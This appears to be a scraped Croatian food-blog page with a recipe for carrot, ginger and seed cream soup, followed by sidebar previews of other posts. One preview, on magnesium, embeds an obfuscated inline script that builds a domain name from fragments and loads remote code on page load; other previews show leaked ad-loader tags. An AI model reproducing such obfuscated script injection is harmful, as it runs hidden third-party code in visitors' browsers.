KREM JUHA OD MRKVE, ĐUMBIRA I SJEMENKI 🥕





Krem juha od mrkve, đumbira i sjemenki 



Krem juhe su nezaobilazan izbor kada želimo nešto brzo, toplo i zasitno, a pritom lagano za pripremu. Upravo su ovakve kombinacije povrća i začina idealne za svakodnevni jelovnik jer nude balans okusa, ali i fleksibilnost u dodacima i posluživanju.





Krem juha od mrkve, đumbira i sjemenki 


Sastojci:

žlica maslinova ulja
900 g oguljene i narezane mrkve
veći luk
žlica svježeg đumbira
3 režnja češnjaka
žličica soli
1/4 žličice čili pahuljica (po želji)
700 ml povrtnog temeljca
400 ml kokosovog mlijeka


Slatko-ljuti sjemenasti posip (po želji)

30 g bučinih sjemenki
15 g suncokretovih sjemenki
2 žličice meda
žličica curry praha
prstohvat kajenskog papra
prstohvat soli



Priprema:

Zagrijte ulje u velikom loncu na srednje jakoj vatri. Dodajte mrkvu i nasjeckani luk pa pirjajte uz povremeno miješanje 5-7 minuta da povrće omekša. Ubacite usitnjeni đumbir, protisnuti češnjak, sol i čili pahuljice ako ih koristite.

Pirjajte još 1-2 minute da sastojci zamirišu. Ulijte povrtni temeljac i pustite da juha zakipi. Smanjite vatru, poklopite i kuhajte 15-20 minuta, uz povremeno miješanje, dok mrkva ne postane potpuno mekana. Maknite s vatre i umiješajte kokosovo mlijeko.

Štapnim mikserom izmiksajte juhu do potpuno glatke i kremaste teksture. Probajte i po potrebi dodatno posolite. Poslužite toplo, uz hrskavi posip koji se priprema tako da u zdjelici pomiješate sve sastojke. Ostatke juhe čuvajte u hladnjaku do 3-4 dana ili zamrznite do mjesec dana.



Pripremila: Ivana Matas 








Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više